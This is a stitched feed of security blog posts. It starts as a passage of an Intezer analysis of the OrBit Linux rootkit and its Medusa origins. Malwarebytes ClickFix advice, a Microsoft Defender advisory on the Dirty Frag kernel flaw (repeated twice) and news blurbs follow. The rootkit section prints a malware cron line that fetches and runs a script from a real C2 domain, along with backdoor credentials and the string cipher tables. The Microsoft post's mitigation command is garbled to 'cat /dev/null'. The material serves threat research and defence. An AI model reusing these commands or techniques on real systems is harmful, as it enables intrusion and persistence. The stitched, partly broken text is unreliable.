8e83cbb2 represents the most capable build to date. Its 66-export set includes a significant new hook not seen in any prior variant: pam_sm_authenticate. This is the PAM service-side authentication function, meaning the rootkit now hooks both sides of the PAM stack. Where earlier variants could only passively capture credentials via client-side pam_authenticate, this build can also forge authentication outcomes, allowing the attacker to approve or deny login attempts at will. The export set also includes xread, first seen in 296d28eb (2023).

2b2eeb22 is a second Lineage A payload with 64 exports. XOR 0xA2 decode confirms credentials adm1n/asdfasdf, the same operator behind ec7462c3 (2022), 296d28eb (2023), and the 26082cd3 inner payload (2024), now spanning four years. 84828f31 is a truncated copy of 2b2eeb22 (same BuildID: cbc9724027399723a27daa4114ffcdf906cb802f, identical bytes up to 107KB, missing the trailing 102KB containing section headers and symbol tables), it is likely an incomplete extraction or download artifact. It is not a distinct sample.

XOR 0xA2 string decode of both payloads confirms the full Lineage A string set is restored: sshpass.txt and sshpass2.txt both present, plus .logpam, .udp, .ports (×2), /proc/net/tcp. The string removals introduced by the 2024 0xAA cluster (a6138638‘s missing local.txt, sniff.txt, etc.) were not carried forward, and both builds return to the comprehensive logging and credential-capture model.

Dropper Samples

090b15fd, 64a3ebd3, and b85ed157 are statically linked ELF executables that carry 8e83cbb2 as an embedded .so and share the same Build ID: da256c78910c552eb334814ada85c7655b717c4f. d3d204c1 is the same type of dropper carrying 2b2eeb22. All four share the same architecture first seen in f1612924 (from 2022).

73b95b7d: A New Dropper Architecture

73b95b7d is not just a dropper, it is an infector that carries the dropper as an embedded payload. This creates a two-stage delivery chain: infector → dropper → rootkit.

The inner binary (090b15fd, embedded at file offset 0x20d7) is the dropper we previously saw. The infector’s role is propagation and persistence; the dropper’s role is to extract and install the rootkit .so via ld.so.preload.

The infector scans the filesystem for ELF binaries and injects the second-stage payload into them. An infection marker bongripz4jezuz (stored in base64 encoding as: Ym9uZ3JpcHo0amV6dXoK) is checked before each infection attempt to avoid re-infecting the same target. The injected binaries include:

• /bin/ls
• All 64-bit ELF files in the current working directory that have read/write access.

Additionally, /etc/cron.hourly/0 is created as a persistence mechanism (to download and execute a remote payload), though it is a shell script rather than an ELF injection target.

#!/bin/sh
wget --quiet http://cf0[.]pw/0/etc/cron.hourly/0 -O- 2>/dev/null|sh>/dev/null 2>&1

This is the first OrBit component with any form of C2 communication. Every previous version was a purely passive implant, meaning the attacker connected via the SSH backdoor. 

This introduces an external command channel that can deliver updated payloads or instructions, adding a reinfection mechanism on top of ld.so.preload persistence.

The earlier droppers stored all paths and commands as plaintext. 73b95b7d is the first dropper to implement string protection: a custom substitution cipher using two lookup tables at .data offsets for the cipher and plain, each with 88 entries, defining a character-by-character mapping. Notably, this is a different scheme from the XOR encryption used by the previous rootkit payloads.

char mw_plain_table[0x4e] = "0123456789abcdefghijklmnopqrstuvzywxABCDEFGHIJKLMNOPQRSTUVZYWX|:. !#-/;&*\'\"\n\r", 0
char mw_cipher_table[0x58] = "<>@o$:,.l+*^?=)(|AB&%;D{!wkUxzvutsrqp_nm-ihgfFCcba~K23456789eyd1XSNQWTZMIRHGVOYLjPJE/][", 0

Connection to RHOMBUS

The structure of this dropper, which delivers the OrBit payload in the final stage, is identical to that described in this APNIC blog that analyzed a dropper that delivered RHOMBUS malware.

Rhombus is a Linux-based botnet malware first reported in February 2020 by the MalwareMustDie research group, which analyzed and shared samples of it. It acts as an installer/dropper that persists on infected devices, drops a second-stage payload, and then uses the compromised system for DDoS activity. The target systems are VPS and IoT devices. (SHA256 of the dropper: b982276458a85cd3dd7c8aa6cb4bbb2d4885b385053f92395a99abbfb0e43784).

Interestingly, the dropper 73b95b7d that delivers the OrBit payload in the final stage is identical to the one used in the Rhombus campaign 6 years ago. Coincidentally, both droppers use the same domain to download the payload as part of the cron-job-based persistence. The current resolution of the domain is to 109.95.212[.]253. The host has a unique BANNER_0_HASH-IP value, ba0c31785465186600a76b7af2a37aa6, that is shared with only one other IP, 109.95.211[.]141, as shown in the screenshot below from Validin. Based on the ASN resolution, both IP addresses are located in Russia.

The fact that the OrBit dropper shares the same domain as malware from 6 years ago can also be interpreted as an attempt to mislead researchers; therefore, we are not taking this evidence into account for attribution at this moment. However, it is worth noting that this connection exists.

Samples From February 2026

These two samples are confirmed to be identical in structure: the same 54-hook set, the same XOR key (0xA2), and the same working directory (/lib/libseconf/). The only difference is credentials: jokerteam/HACK89SERVER versus 57ill4Cu63/1qaz@WSX3edc098. XOR 0xA2 decode confirms the full Lineage A string set.

No Lineage B samples have surfaced since 2024, suggesting the lite build may have been retired or consolidated back into the main branch.

Connection to BLOCKADE SPIDER

In CrowdStrike’s 2026 Global Threat Report, they mention that BLOCKADE SPIDER used the OrBit backdoor to maintain persistence and stealthy access to virtualization environments.

BLOCKADE SPIDER is a CrowdStrike-tracked eCrime adversary that has been active at least since 2024. They are known for running Embargo ransomware campaigns using sophisticated, multi-domain attack techniques.

Origin: OrBit is a fork of the Medusa open-source rootkit

Mandiant’s reporting on UNC3886 espionage operations identifies MEDUSA and its installer, SEAELF, as tools used by this state-sponsored actor against Juniper and VMware infrastructure. Essentially, OrBit is built from Medusa, an open-source LD_PRELOAD rootkit published on GitHub (github.com/ldpreload/Medusa) in December 2022.

Mandiant’s MEDUSA configuration table matches our 2024 Lineage A 0xAA-key cluster exactly across four independent fields: the XOR key 0xAA, the backdoor credentials Y0u4reCu6e and 1qaz@WSX3edc123, the install path /lib/locate/, and a modification to the rootkit that redirects strace output to /tmp/orbit.txt. That literal orbit filename, preserved as a plaintext artifact inside UNC3886’s MEDUSA binary, is direct cross-attribution: Mandiant’s “MEDUSA” sample set and our “OrBit” 2024 cluster are the same builds.

We compiled Medusa from source and compared the resulting binaries byte-for-byte against our OrBit corpus. The match is unambiguous, and it rewrites the attribution and evolution story.

Evidence of the fork

The first is a function-set and export match. Compiling Medusa’s src/rkld.c against the default Makefile recipe produces a shared object whose function set, hook list, and XOR-obfuscated string table are a direct superset match for OrBit Lineage A samples. The 2022 OrBit baseline (ec7462c3) shares all core exports with the Medusa build and reuses the identical XOR 0xA2 string obfuscation scheme driven by Medusa’s build-time xor_dump() pipeline, with the XOR key itself hardcoded in config.c.

The second is a source-filename fingerprint that is present in almost every sample we analyzed. Some of the samples ship with an unstripped ELF .symtab. The resulting filenames are preserved verbatim: rootkit samples carry rkld.c and, when Lineage A is linked in, rknet.c, while loader samples carry rkload.c. Those are the exact names of Medusa’s source files, src/rkld.c, src/rknet.c, and src/rkload.c. The filenames themselves are not secret, since the Medusa repository is public, but their verbatim presence in the compiled binary is a strong attribution anchor: every unstripped sample directly identifies the upstream tree it was built from. Of the samples in our corpus, only three are fully stripped (the 2025 dropper 73b95b7d, and the rootkit binaries a6138638 and b9822764). Three representative samples are shown below: a full Lineage A rootkit (ec7462c3, 2022), a Lineage B lite rootkit (3ba6c174, 2023), and the SEAELF loader (26082cd3, 2024).

$ readelf -s ec7462c3f4a874… | awk ‘/FILE    LOCAL/’

    25: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c

    34: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS rkld.c

    40: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS rknet.c

    46: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c

$ readelf -s 3ba6c174a72e4b… | awk ‘/FILE    LOCAL/’

     1: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c

     9: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS rkld.c

    15: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c

$ readelf -s 26082cd36fdaf7… | awk ‘/FILE    LOCAL/’

     1: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c

     9: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS rkload.c

    14: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c

The Lineage A rootkit carries both rkld.c and rknet.c; the Lineage B rootkit, which omits the advanced hook set, carries only rkld.c; and the loader carries rkload.c. The same pattern holds across the wider corpus.

Alongside the filename fingerprint, the loader’s entry-point dispatch, its build_root() filesystem layout (.boot.sh, .logpam, sshpass.txt, sshpass2.txt, .ports), and its SELinux setxattr sequence all map one-to-one to the Medusa source.

The third is an embedded inner ELF produced by xxd -i. Medusa’s Makefile embeds build/rkld.so into the loader using the xxd -i build/rkld.so > build/rkld.h step, which is then included by the loader compiled at Makefile line 33. OrBit’s loader binaries follow this pattern: a rkld.so blob embedded as a C byte array within the loader ELF, dropped to disk at runtime. The embedding technique, offset layout, and post-drop execution flow are identical.

Per-Module Source Mapping

Medusa’s source tree maps cleanly onto the OrBit binary set we have tracked:

The Medusa default Makefile compiles only src/rkld.c. Every Lineage A capability that appeared to “arrive” in OrBit between 2023 and 2025 was already present as source in Medusa’s src/rknet.c on day one of the public release. The operators’ work was to modify the Makefile to link rknet.c into their build, not to author those functions.

Timeline Anomaly

Our analysis shows that an initial OrBit sample (40b5127c) appeared in July 2022, predating the repository’s publication by approximately 5 months. Based on this information, there are two options: either the Medusa author published a privately-circulated rootkit source that had already been deployed operationally, or the earliest OrBit sample was built from a pre-publication snapshot of the same tree. Either way, the 2022 OrBit sample and the December 2022 Medusa source tree are the same codebase. The question is only which commit was made public first.

Implications

The appearance of a single rootkit family across four years does not imply a single operator. OrBit and Medusa have been built and deployed by at least three unrelated actor clusters we can presently distinguish, including the state-sponsored espionage activity attributed to UNC3886, the eCrime ransomware operations run by BLOCKADE SPIDER, and the 2025 cron-dropper campaign previously linked to RHOMBUS infrastructure. Attribution at the family level is therefore not enough, and defenders tracking an OrBit infection should separate the questions of which codebase was used from which operator configured and deployed it.

Tracking version-over-version changes in OrBit reads less like an active malware development project and more like a record of build-flag toggles, credential rotations, and install-path swaps against a stable upstream. The capability ceiling is set by the Medusa source tree as it existed in December 2022, and every apparent new feature we observed between 2023 and 2025 was already present in that tree, waiting for an operator to link it in. The xread read-hook bypass we first flagged as a 2023 compatibility shim is a function in src/rknet.c. The auditd evasion pair we called out as a 2024 addition, audit_log_acct_message and audit_log_user_message, sits in the same file. The PAM stack we noted as gradually expanding across versions, including pam_authenticate, pam_acct_mgmt, pam_open_session, and the 2025 service-side impersonation hook pam_sm_authenticate, is all present in the same rknet.c, as is the pcap_loop packet hook that appears in full Lineage A builds. None of these files is linked in by the default Makefile recipe, which compiles only src/rkld.c. Their arrival in individual OrBit samples corresponds to an operator modifying the build to include rknet.c, not to new code being written. 

Signatures based on invariants of the Medusa build pipeline will also flag builds from operators we have not yet seen. Three such invariants are worth calling out. 

• The string table produced by Medusa’s xor_dump() routine, which emits every protected string as a contiguous block of single-byte XOR-obfuscated byte arrays within the compiled binary. Operators change the key value (0xA2 in most builds, 0xAA in the 2024 UNC3886 cluster) and some paths, but the table’s shape and the majority of its entries are fixed by the source. A YARA rule that decodes the table with a variable single-byte key and matches on a threshold count of known plaintext strings catches any build, regardless of which key was chosen. 
• The filesystem skeleton that the loader’s build_root() writes into its install directory. Operators vary only the parent directory (/lib/libseconf/, /lib/locate/, /lib/libntpVnQE6mk/), so host-based detection can alert on the co-occurrence of that filename set inside any directory, and binary-level signatures can match the embedded filename constants and the setxattr call pattern directly. 
• The nested-ELF structure produced by the xxd – +i build/rkld.so > build/rkld.h step in the Makefile, which bakes a full secondary ELF into the loader’s .rodata. Every Medusa loader therefore carries a second ELF magic inside its own image, followed by a length constant, and, if the binary is not stripped, two xxd-generated symbols (rkld_so and rkld_so_len ). The nested-ELF shape on its own is not specific enough to be a detection signature: plenty of legitimate software and unrelated malware use xxd -i or equivalent techniques to embed a payload, and any such binary will match a naive “second ELF at non-zero offset plus length constant” rule. The Medusa-specific part is the pairing of that structural pattern with (a) the symbol names rkld_so and rk +ld_so_len in the loader’s symbol table when the binary is not stripped, and (b) the inner ELF itself, matching the rootkit fingerprint described earlier in this section, which gives both a family-level anchor and a structural one.

Conclusion

The analysis of OrBit variants from 2022 through early 2026 reveals a Linux rootkit whose code later surfaced in an open-source codebase named Medusa. This suggests that the backdoor was created before its public release and has since been selectively forked, configured, and redeployed by multiple operators over four years. We identified two parallel build paths: the comprehensive Lineage A (“Full” build), which links in Medusa’s src/rknet.c advanced hook set, and the temporary Lineage B (lite build), which ships only the src/rkld.c core and was retired after 2024. Apparent “milestones” in Lineage A are the xread wrapper (2023), the audit_log_* auditd-evasion hooks (2024), and the 2025 addition of the pam_sm_authenticate hook, which corresponds one-to-one with functions already present in Medusa’s published source. The operator work is in the build configuration and deployment, not the C code.

Our analysis of the OrBit samples also discovered that at least 3 different operators are using the backdoor. A major operational shift occurred in 2025 with the introduction of a new two-stage infector architecture, marking one operator’s transition from a purely passive SSH-backdoor implant to malware with its first direct C2 capability. This infector utilizes a cron job to fetch external payloads from the domain cf0[.]pw. The architecture of this new dropper is identical to one used in the 2020 RHOMBUS botnet campaign, suggesting shared tooling or operator overlap, a link further cemented by the C2 domain resolving to infrastructure located in Russia. In parallel, the same Medusa codebase was weaponized upstream by the state-sponsored espionage actor UNC3886 (tracked by Mandiant). The 2024 0xAA-key cluster we tracked as Lineage A corresponds exactly to UNC3886’s MEDUSA configuration, including the backdoor credentials, the install path, and a strace artifact that retains the literal “orbit” string. The rootkit has also been adopted by the CrowdStrike-tracked eCrime adversary BLOCKADE SPIDER since at least 2024, who leverage OrBit for stealthy persistence against VMware vCenter infrastructure to facilitate the deployment of Embargo ransomware. The continued emergence of new Lineage A samples in 2026, accompanied by operator-specific credential rotation, confirms that a single public rootkit codebase is being cloned and configured by multiple unrelated actor groups.

IOC Table

The post OrBit (Re)turns: Tracking an open-source Linux rootkit across four years of forks and deployments appeared first on Intezer.

Researchers found that cybercriminals are using sponsored search results and shared Claude chats to lure victims into a typical ClickFix attack to install malware on macOS devices.

ClickFix is a social engineering method that tricks users into infecting their own device with malware. Users are instructed to run specific commands that will download malware, usually an infostealer.

The researchers found that when users search for terms like “Claude Mac download,” they may see sponsored Google results that appear to go to the legitimate claude.ai domain.

In reality, the ads resolve to real Claude shared chats, set up to look like official “Claude Code on Mac” or Apple Support guides. Independent research by BleepingComputer found another chat serving the same purpose. The chat instructs victims to open Terminal and paste a base64‑encoded command, which pulls a loader shell script from attacker‑controlled infrastructure and runs it in memory.

The script then profiles the system, pulls down a second-stage payload and runs it through osascript, macOS’s built-in scripting engine. This gives the attacker remote code execution (RCE) without ever dropping a traditional application or binary.

This results in a MacSync‑style payload that harvests browser credentials, cookies, Keychain contents, and crypto wallet data, bundles it, and sends all that information over HTTP to attacker servers.

How to stay safe

Users running macOS Tahoe 26.4 and later will see warnings about possible ClickFix attacks, but other users still have to rely on common sense.

With ClickFix running rampant and inventing new methods all the time, it’s important to stay aware, cautious, and protected.

• Slow down. Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy and paste code. Attackers rely on urgency to bypass your critical thinking, so be cautious of pages urging immediate action. Sophisticated ClickFix pages add countdowns, user counters, or other pressure tactics to make you act quickly.
• Avoid running commands or scripts from untrusted sources. Never run code or commands copied from websites, emails, or messages unless you trust the source and understand what the action does.
• Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
• Limit copy and paste for commands. Manually typing commands instead of copy and paste can reduce the risk of unknowingly running malicious payloads hidden in copied text.
• Secure your devices. Use an up-to-date, real-time anti-malware solution with web protection. Malwarebytes blocks connections to unsafe sites like these.
  
• Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected places helps maintain vigilance. Keep reading our blog!
• Stay away from sponsored ads in search results. Anyone can buy them and make them look legitimate.

Pro tip: The free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard.

Stop threats before they can do any harm.

Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →

This is the worst Linux vulnerability in years.

TL;DR

• copy.fail is a Linux kernel local privilege escalation, not a browser or clipboard attack. Disclosed by Theori on 29 April 2026 with a working PoC.
• It abuses the kernel crypto API (AF_ALG sockets) plus splice() to write four bytes at a time straight into the page cache of a file the attacker does not own.
• The exploit works unmodified across Ubuntu, RHEL, Debian, SUSE, Amazon Linux, Fedora and most others. No race condition, no per-distro offsets.
• The file on disk is never modified. AIDE, Tripwire and checksum-based monitoring see nothing.
• Kubernetes Pod Security Standards (Restricted) and the default RuntimeDefault seccomp profile do not block the syscall used. A custom seccomp profile is needed.
• The mainline fix landed on 1 April. Distros are rolling kernels out now. Patch.

“Local privilege escalation” sounds dry, so let me unpack it. It means: an attacker who already has some way to run code on the machine, even as the most boring unprivileged user, can promote themselves to root. From there they can read every file, install backdoors, watch every process, and pivot to other systems.

Why does that matter on shared infrastructure? Because “local” covers a lot of ground in 2026: every container on a shared Kubernetes node, every tenant on a shared hosting box, every CI/CD job that runs untrusted pull-request code, every WSL2 instance on a Windows laptop, every containerised AI agent given shell access. They all share one Linux kernel with their neighbours. A kernel LPE collapses that boundary.

News article.

A newly disclosed Linux local privilege escalation vulnerability known as “Dirty Frag” enables escalation from an unprivileged user to root through vulnerable kernel networking and memory-fragment handling components, including esp4, esp6 (CVE-2026-43284), and rxrpc (CVE-2026-43500). Public reporting and proof-of-concept activity indicate the exploit is designed to provide more reliable privilege escalation than traditional race-condition-dependent Linux local privilege escalation techniques.

Dirty Frag may be leveraged after initial compromise through SSH access, web-shell execution, container escape, or compromise of a low-privileged account. Affected environments may include Ubuntu, RHEL, CentOS Stream, AlmaLinux, Fedora, openSUSE, and OpenShift deployments. Microsoft Defender is actively monitoring related activity and investigating additional detections and protections.

This article details an ongoing investigation into active campaign. We will update this report as new details emerge. Latest update: May 14, 2026.

May 14 update

A new variant of the recent Dirty Frag vulnerability, named Fragnesia (CVE-2026-46300), has been discovered. Similarly to Dirty Frag, this variant leverages a different bug to be able to manipulate Linux page cache behavior to achieve privilege escalation. Fragnesia leverages a bug in the esp/xfrm module only, unlike Dirty Frag that also provided an attack path via rxrpc.

Signatures Trojan:Linux/DirtyFrag.Z!MTB and Trojan:Linux/DirtyFrag.DA!MTB, released initially to cover Dirty Frag, also cover the public exploit for Fragnesia and can be used as indicators of a possible abuse of this vulnerability. A patch is available, and while no in-the-wild exploitation has been observed at this time, we urge users and organizations to apply the patch as soon as possible by running update tools. If patching is not possible at this point, consider applying the same mitigations for Dirty Frag.

Why Dirty Frag matters

Local privilege escalation vulnerabilities are frequently used by threat actors after initial access to expand control over a compromised environment. Once root access is obtained, attackers can disable security tooling, access sensitive credentials, tamper with logs, pivot laterally, and establish persistent access.

Dirty Frag is notable because it introduces multiple kernel attack paths involving rxrpc and esp/xfrm networking components to improve exploitation reliability. Rather than relying on narrow timing windows or unstable corruption conditions often associated with Linux local privilege escalation exploits, Dirty Frag appears designed to increase consistency across vulnerable environments.

This increases operational risk in environments where threat actors already possess limited local execution capability through compromised accounts, vulnerable applications, containers, or exposed administrative interfaces.

Technical overview

Dirty Frag abuses Linux kernel networking and memory-fragment handling behavior involving esp4, esp6, and rxrpc components. Similar to the previously disclosed CopyFail vulnerability (CVE-2026-31431), the exploit attempts to manipulate Linux page cache behavior to achieve privilege escalation. However, Dirty Frag introduces additional attack paths that expand exploitation opportunities and improve reliability.

The vulnerability affects systems where vulnerable modules are present and accessible. In many enterprise environments, these components may already be enabled to support IPsec, VPN functionality, or other networking workloads.

Exploitation scenarios

Threat actors may leverage Dirty Frag after obtaining local code execution through several common intrusion paths, including:

• Compromised SSH accounts
• Web-shell access on internet-facing applications
• Container escapes into the host environment
• Abuse of low-privileged service accounts
• Post-exploitation activity following phishing or remote access compromise

Once local access is established, successful exploitation may allow attackers to escalate privileges to root and gain broad control over the affected Linux host.

Limited In-The-Wild Exploitation

Microsoft Defender is currently seeing limited in-the-wild activity where privilege escalation involving ‘su’ is observed, and which may be indicative of techniques associated with either “Dirty Frag” or “Copy Fail”.

The campaign shows a sequential attack timeline where an external connection gains SSH access and spawns an interactive shell, followed by staging and execution of an ELF binary (./update) that immediately triggers a privilege escalation via ‘su’.

After gaining elevated access, the actor modifies a GLPI LDAP authentication file (evidenced by a .swp file from vim), performs reconnaissance of the GLPI directory and system configuration, and inspects an exploit artifact. The activity then shifts to accessing sensitive data and interacting with PHP session files — first deleting multiple session files and then forcefully wiping additional ones — before reading remaining session data, indicating both disruption of active sessions and access to session contents.

Mitigation guidance

The Linux Kernel Organization released patches, which are linked at the National Vulnerability Database (NVD), to fix CVE-2026-43284 on May 8, 2026. Customers who have not applied these patches are urged to do so as soon as possible. As of May 8, 2026, patches for CVE-2026-43500 are not available. CVE-2026-43500 is reportedly reserved for the RxRPC issue but is not yet published in NVD.

While comprehensive remediation guidance continues to evolve, organizations should evaluate interim mitigations immediately.

Recommended actions include:

• Disable unused rxrpc kernel modules where operationally possible
• Assess whether esp4, esp6, and related xfrm/IPsec functionality can be temporarily disabled safely
• Restrict unnecessary local shell access
• Harden containerized workloads
• Increase monitoring for abnormal privilege escalation activity
• Prioritize kernel patch deployment once vendor advisories are released

The following example prevents vulnerable modules from loading and unloads active modules where possible:

cat /dev/null

These mitigations should be carefully evaluated before deployment, particularly in environments relying on IPsec VPNs or RxRPC functionality.

Post-mitigation integrity verification

Mitigation alone may not reverse changes already introduced through successful exploitation attempts.

If exploitation occurred prior to mitigation, malicious modifications may persist in memory or cached file content even after vulnerable modules are disabled. Organizations should validate the integrity of critical files and assess whether cache clearing is appropriate for their environment.

echo 3 | sudo tee /proc/sys/vm/drop_caches

Cache clearing can temporarily increase disk I/O and impact production performance and should be evaluated carefully before deployment.

Microsoft Defender coverage

Microsoft Defender XDR customers can refer to the following list of applicable detections below that provides coverage for behaviors surrounding “Dirty Frag” exploitation.

Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence. 

Advanced hunting query

Customers can use this advanced hunting query to surface possible exploitation.

let fragnesia = DeviceProcessEvents
| where Timestamp >= ago(1d)
| where ProcessCommandLine has "fragnesia"
| distinct DeviceId
;
let lpeModuleTerms = dynamic(["algif-skcipher","net-pf-38","crypto-seqiv(rfc4106(gcm(aes)))","xfrm-type-10-50"]);
DeviceProcessEvents
  | where Timestamp >= ago(1d)
  | where DeviceId in (fragnesia)
  | where ProcessCommandLine has_any (lpeModuleTerms)
  | distinct DeviceId

Microsoft Defender Threat Intelligence

Microsoft Defender Threat Intelligence published a threat analytics article and a vulnerability profile for this vulnerability

• CVE-2026-43284 – Linux Kernel (Dirty Frag)
• Vulnerability Profile: CVE-2026-43284 – Linux Kernel (Dirty Frag)

Microsoft Defender Antivirus

• Exploit:Linux/DirtyFrag.A
• Exploit:Linux/DirtyFrag.B
• Trojan:Linux/DirtyFrag.Z!MTB
• Trojan:Linux/DirtyFrag.ZA!MTB
• Trojan:Linux/DirtyFrag.ZC!MTB
• Trojan:Linux/DirtyFrag.DA!MTB

Microsoft Defender for Cloud

• Potential exploitation of dirtyfrag vulnerability detected

Microsoft continues investigating additional detections, telemetry correlations, and posture guidance related to Dirty Frag activity.

Further investigation is being conducted by Microsoft Defender towards providing stronger protection and posture recommendations is in progress.

References

Read about CopyFail (CVE-2026-31431), including mitigation and detection guidance here: https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation/. 

The post Active attack: Dirty Frag Linux vulnerability expands post-compromise risk appeared first on Microsoft Security Blog.

A malicious version of the plugin was published to the Jenkins Marketplace late last week.

The post Checkmarx Jenkins AST Plugin Compromised in Supply Chain Attack appeared first on SecurityWeek.

Also called Copy Fail 2 and tracked as CVE-2026-43284 and CVE-2026-43500, the exploit was disclosed before a patch was released.

The post New ‘Dirty Frag’ Linux Vulnerability Possibly Exploited in Attacks appeared first on SecurityWeek.

A newly disclosed Linux local privilege escalation vulnerability known as “Dirty Frag” enables escalation from an unprivileged user to root through vulnerable kernel networking and memory-fragment handling components, including esp4, esp6 (CVE-2026-43284), and rxrpc (CVE-2026-43500). Public reporting and proof-of-concept activity indicate the exploit is designed to provide more reliable privilege escalation than traditional race-condition-dependent Linux local privilege escalation techniques.

Dirty Frag may be leveraged after initial compromise through SSH access, web-shell execution, container escape, or compromise of a low-privileged account. Affected environments may include Ubuntu, RHEL, CentOS Stream, AlmaLinux, Fedora, openSUSE, and OpenShift deployments. Microsoft Defender is actively monitoring related activity and investigating additional detections and protections.

This article details an ongoing investigation into active campaign. We will update this report as new details emerge.

Why Dirty Frag matters

Local privilege escalation vulnerabilities are frequently used by threat actors after initial access to expand control over a compromised environment. Once root access is obtained, attackers can disable security tooling, access sensitive credentials, tamper with logs, pivot laterally, and establish persistent access.

Dirty Frag is notable because it introduces multiple kernel attack paths involving rxrpc and esp/xfrm networking components to improve exploitation reliability. Rather than relying on narrow timing windows or unstable corruption conditions often associated with Linux local privilege escalation exploits, Dirty Frag appears designed to increase consistency across vulnerable environments.

This increases operational risk in environments where threat actors already possess limited local execution capability through compromised accounts, vulnerable applications, containers, or exposed administrative interfaces.

Technical overview

Dirty Frag abuses Linux kernel networking and memory-fragment handling behavior involving esp4, esp6, and rxrpc components. Similar to the previously disclosed CopyFail vulnerability (CVE-2026-31431), the exploit attempts to manipulate Linux page cache behavior to achieve privilege escalation. However, Dirty Frag introduces additional attack paths that expand exploitation opportunities and improve reliability.

The vulnerability affects systems where vulnerable modules are present and accessible. In many enterprise environments, these components may already be enabled to support IPsec, VPN functionality, or other networking workloads.

Exploitation scenarios

Threat actors may leverage Dirty Frag after obtaining local code execution through several common intrusion paths, including:

• Compromised SSH accounts
• Web-shell access on internet-facing applications
• Container escapes into the host environment
• Abuse of low-privileged service accounts
• Post-exploitation activity following phishing or remote access compromise

Once local access is established, successful exploitation may allow attackers to escalate privileges to root and gain broad control over the affected Linux host.

Limited In-The-Wild Exploitation

Microsoft Defender is currently seeing limited in-the-wild activity where privilege escalation involving ‘su’ is observed, and which may be indicative of techniques associated with either “Dirty Frag” or “Copy Fail”.

The campaign shows a sequential attack timeline where an external connection gains SSH access and spawns an interactive shell, followed by staging and execution of an ELF binary (./update) that immediately triggers a privilege escalation via ‘su’.

After gaining elevated access, the actor modifies a GLPI LDAP authentication file (evidenced by a .swp file from vim), performs reconnaissance of the GLPI directory and system configuration, and inspects an exploit artifact. The activity then shifts to accessing sensitive data and interacting with PHP session files — first deleting multiple session files and then forcefully wiping additional ones — before reading remaining session data, indicating both disruption of active sessions and access to session contents.

Mitigation guidance

The Linux Kernel Organization released patches, which are linked at the National Vulnerability Database (NVD), to fix CVE-2026-43284 on May 8, 2026. Customers who have not applied these patches are urged to do so as soon as possible. As of May 8, 2026, patches for CVE-2026-43500 are not available. CVE-2026-43500 is reportedly reserved for the RxRPC issue but is not yet published in NVD.

While comprehensive remediation guidance continues to evolve, organizations should evaluate interim mitigations immediately.

Recommended actions include:

• Disable unused rxrpc kernel modules where operationally possible
• Assess whether esp4, esp6, and related xfrm/IPsec functionality can be temporarily disabled safely
• Restrict unnecessary local shell access
• Harden containerized workloads
• Increase monitoring for abnormal privilege escalation activity
• Prioritize kernel patch deployment once vendor advisories are released

The following example prevents vulnerable modules from loading and unloads active modules where possible:

cat /dev/null

These mitigations should be carefully evaluated before deployment, particularly in environments relying on IPsec VPNs or RxRPC functionality.

Post-mitigation integrity verification

Mitigation alone may not reverse changes already introduced through successful exploitation attempts.

If exploitation occurred prior to mitigation, malicious modifications may persist in memory or cached file content even after vulnerable modules are disabled. Organizations should validate the integrity of critical files and assess whether cache clearing is appropriate for their environment.

echo 3 | sudo tee /proc/sys/vm/drop_caches

Cache clearing can temporarily increase disk I/O and impact production performance and should be evaluated carefully before deployment.

Microsoft Defender coverage

Microsoft Defender XDR customers can refer to the following list of applicable detections below that provides coverage for behaviors surrounding “Dirty Flag” exploitation.

Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence. 

Microsoft Defender Threat Intelligence

Microsoft Defender Threat Intelligence published a threat analytics article and a vulnerability profile for this vulnerability

• CVE-2026-43284 – Linux Kernel (Dirty Frag)
• Vulnerability Profile: CVE-2026-43284 – Linux Kernel (Dirty Frag)

Microsoft Defender Antivirus

• Exploit:Linux/DirtyFrag.A
• Exploit:Linux/DirtyFrag.B
• Trojan:Linux/DirtyFrag.Z!MTB
• Trojan:Linux/DirtyFrag.ZA!MTB
• Trojan:Linux/DirtyFrag.ZC!MTB
• Trojan:Linux/DirtyFrag.DA!MTB

Microsoft Defender for Cloud

• Potential exploitation of dirtyfrag vulnerability detected

Microsoft continues investigating additional detections, telemetry correlations, and posture guidance related to Dirty Frag activity.

Further investigation is being conducted by Microsoft Defender towards providing stronger protection and posture recommendations is in progress.

References

Read about CopyFail (CVE-2026-31431), including mitigation and detection guidance here: https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation/. 

The post Active attack: Dirty Frag Linux vulnerability expands post-compromise risk appeared first on Microsoft Security Blog.